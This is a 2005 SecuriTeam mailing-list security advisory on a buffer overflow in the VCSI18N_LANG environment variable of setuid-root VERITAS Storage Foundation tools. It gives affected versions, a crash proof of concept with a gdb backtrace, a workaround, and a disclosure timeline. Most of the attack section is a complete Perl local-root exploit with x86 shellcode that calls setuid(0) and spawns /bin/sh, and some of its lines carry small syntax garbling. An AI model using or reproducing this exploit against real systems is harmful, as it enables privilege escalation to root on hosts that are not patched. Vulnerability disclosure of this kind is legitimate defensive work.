

[UNIX] VERITAS Storage Foundation Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0053.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 11/14/05

To: list@securiteam.com

Date: 14 Nov 2005 16:28:14 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

VERITAS Storage Foundation Buffer Overflow

SUMMARY

" <<http://www.veritas.com/>> VERITAS Storage Foundation combines the industry-leading VERITAS Volume Manager and VERITAS File System to provide a complete solution for online storage management."

A buffer overflow vulnerability within Veritas's Storage Foundation allow attackers to execute arbitrary code with elevated privileges.

DETAILS

Vulnerable Systems:

- * Veritas Storage Foundation version 3.5 for VCS
- * Veritas Storage Foundation version 4.0 for VCS
- * Veritas Storage Foundation version 3.5P5+ for Solaris
- * Veritas Storage Foundation version 4.0MP2+ for Solaris
- * Veritas Storage Foundation version 3.5P2+ for AIX
- * Veritas Storage Foundation version 4.0MP2+ for AIX
- * Veritas Storage Foundation version 3.5Update3+ for HP-UX
- * Veritas Storage Foundation version 2.2MP2+ for Red-Hat Linux
- * Veritas Storage Foundation version 4.0MP2+ for Red-Hat Linux

Securiteam: [UNIX] VERITAS Storage Foundation Buffer Overflow

- * Veritas Storage Foundation version 2.2MP2 for SuSE Linux
- * Veritas Storage Foundation version 2.2MP2 for ESX

Immune Systems:

- * Veritas Storage Foundation version 4.1 for Unix
- * Veritas Storage Foundation for Windows (All versions)

A buffer overflow has been identified in the VCSI18N_LANG environment variable which is used by a number of setuid root applications in Storage Foundation.

Proof of Concept:

```
kfinisterre01:/opt/VRTSvcs/bin$ for each in `find . -perm -4000`  
do  
echo $each  
$each a  
done
```

```
/haagent  
Segmentation fault  
/haalert  
Segmentation fault  
/haattr  
Segmentation fault  
/hacli  
Segmentation fault  
/hacli_runcmd  
/haclus  
Segmentation fault  
/haconf  
Segmentation fault  
/hadebug  
Segmentation fault  
/hagrp  
Segmentation fault  
/hahb  
Segmentation fault  
/halog  
Segmentation fault  
/hareg  
Segmentation fault  
/hares  
Segmentation fault  
/hastatus  
Segmentation fault  
/hasys  
Segmentation fault  
/hatype  
Segmentation fault  
/hauser  
Segmentation fault
```

Securiteam: [UNIX] VERITAS Storage Foundation Buffer Overflow

```
/tststew
Segmentation fault
kfinisterre01:/opt/VRTSvcs/bin# gdb ./hahb
(gdb) r
Starting program: /opt/VRTSvcs/bin/hahb
[Thread debugging using libthread_db enabled]
[New Thread -1211486080 (LWP 26902)]
```

```
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1211486080 (LWP 26902)]
0xb7ccea00 in getenv () from /lib/tls/libc.so.6
(gdb) bt
#0 0xb7ccea00 in getenv () from /lib/tls/libc.so.6
#1 0xb7cc2b57 in __gconv_get_cache () from /lib/tls/libc.so.6
#2 0xb7cbc4aa in __gconv_get_alias_db () from /lib/tls/libc.so.6
#3 0xb7ec70d2 in pthread_once () from /lib/tls/libpthread.so.0
#4 0xb7cbb516 in __gconv_get_alias_db () from /lib/tls/libc.so.6
#5 0xb7cba7d9 in iconv_close () from /lib/tls/libc.so.6
#6 0xb7cba3e5 in iconv_open () from /lib/tls/libc.so.6
#7 0x0807e89b in i18n_conv_open (lang=0xbf830860 'A' <repeats 48
times>, "\b2||FR-SIRT||SUCKS||03??AAAA??\203\n\b\005", codeset=0x0,
cdp=0x80a83d8,
conv_neededp=0x80a83d0) at unix/i18n_convert.c:56
#8 0x0807d85e in i18nOpen (i18nhp=0x41414141, pathp=0x41414141 <Address
0x41414141 out of bounds>,
modulep=0x41414141 <Address 0x41414141 out of bounds>,
langp=0x41414141 <Address 0x41414141 out of bounds>) at
common/i18n.c:647
#9 0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
#12 0x41414141 in ?? ()
#13 0x41414141 in ?? ()
#14 0x41414141 in ?? ()
#15 0x41414141 in ?? ()
#16 0x41414141 in ?? ()
#17 0x41414141 in ?? ()
#18 0x41414141 in ?? ()
#19 0x41414141 in ?? ()
#20 0x41414141 in ?? ()
#21 0x41414141 in ?? ()
```

Workaround:

```
chmod -s the binaries or install the patch at
<http://www.symantec.com/avcenter/security/SymantecAdvisories.html>
http://www.symantec.com/avcenter/security/SymantecAdvisories.html
```

Exploit:

```
#!/usr/bin/perl -w
#
# Veritas Storage Foundation 4.0
```

Securiteam: [UNIX] VERITAS Storage Foundation Buffer Overflow

```
#
# http://www.digitalmunition.com
# kf (kf_lists[at]digitalmunition[dot]com) – 08/19/2005
#
# This bug has not been patched as of:
# Q14438H.sf.4.0.00.0.rhel3_i686.tar.gz
#
# Make sure you don't get your spoils from some
# Frenchie at FR-SIRT go to milw0rm instead.
#
$retval = 0xbffffc17;

$tgts{"0"} = "/opt/VRTSvcs/bin/haagent:72";
$tgts{"1"} = "/opt/VRTSvcs/bin/haalert:72";
$tgts{"2"} = "/opt/VRTSvcs/bin/haattr:72";
$tgts{"3"} = "/opt/VRTSvcs/bin/hacli:72";
$tgts{"4"} = "/opt/VRTSvcs/bin/hareg:72";
$tgts{"5"} = "/opt/VRTSvcs/bin/haclus:72";
$tgts{"6"} = "/opt/VRTSvcs/bin/haconf:72";
$tgts{"7"} = "/opt/VRTSvcs/bin/hadebug:72";
$tgts{"8"} = "/opt/VRTSvcs/bin/hagrp:72";
$tgts{"9"} = "/opt/VRTSvcs/bin/hahb:72";
$tgts{"10"} = "/opt/VRTSvcs/bin/halog:72";
$tgts{"11"} = "/opt/VRTSvcs/bin/hares:72";
$tgts{"12"} = "/opt/VRTSvcs/bin/hastatus:72";
$tgts{"13"} = "/opt/VRTSvcs/bin/hasys:72";
$tgts{"14"} = "/opt/VRTSvcs/bin/hatype:72";
$tgts{"15"} = "/opt/VRTSvcs/bin/hauser:72";
$tgts{"16"} = "/opt/VRTSvcs/bin/tststew:72";

unless (($target) = @ARGV) {

    print "\n Veritas Storage Foundation VCSII8N_LANG overflow,
kf \kf_lists[at]digitalmunition[dot]com) – 08/19/2005\n";
    print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

    foreach $key (sort(keys %tgts)) {
        ($a,$b) = split(/:/,$tgts{"$key"});
        print "\t$key . $a\n";
    }

    print "\n";
    exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/:/,$tgts{"$target"});
print "*** Target: $a, Len: $b\n\n";

$sc = "\x90"x1024;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
```

Securiteam: [UNIX] VERITAS Storage Foundation Buffer Overflow

```
$sc := "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";  
$sc := "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";  
$sc := "\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

```
$buf = "A" x $b;  
$buf := "$ret" x 2;
```

```
$ENV{"VCSI18N_LANG"} = $buf;  
$ENV{"DMR0x"} = $sc;
```

```
exec("$a DMR0x");
```

```
#EoF
```

Disclosure Timeline:

08/19/2005 Initial exploitation
08/25/2005 passed on to Symantec
08/31/2005 Symantec – problem present across a number platforms and versions
09/13/2005 Symantec – list of affected products identified
09/23/2005 Symantec – more brief updates on timeline for the fixes
10/05/2005 Symantec – more timeline updates
10/14/2005 Symantec – timeline update
11/07/2005 Symantec – passed draft advisory to me
11/08/2005 Symantec – post of advisory

ADDITIONAL INFORMATION

The information has been provided by
<mailto:kf_lists@digitalmunition.com> KF.

The original article can be found at:

<<http://www.digitalmunition.com/DMA%5B2005-1112a%5D.txt>>

<http://www.digitalmunition.com/DMA%5B2005-1112a%5D.txt>,

The vendor advisory can be found at:

<<http://www.symantec.com/avcenter/security/Content/2005.11.08a.html>>

<http://www.symantec.com/avcenter/security/Content/2005.11.08a.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.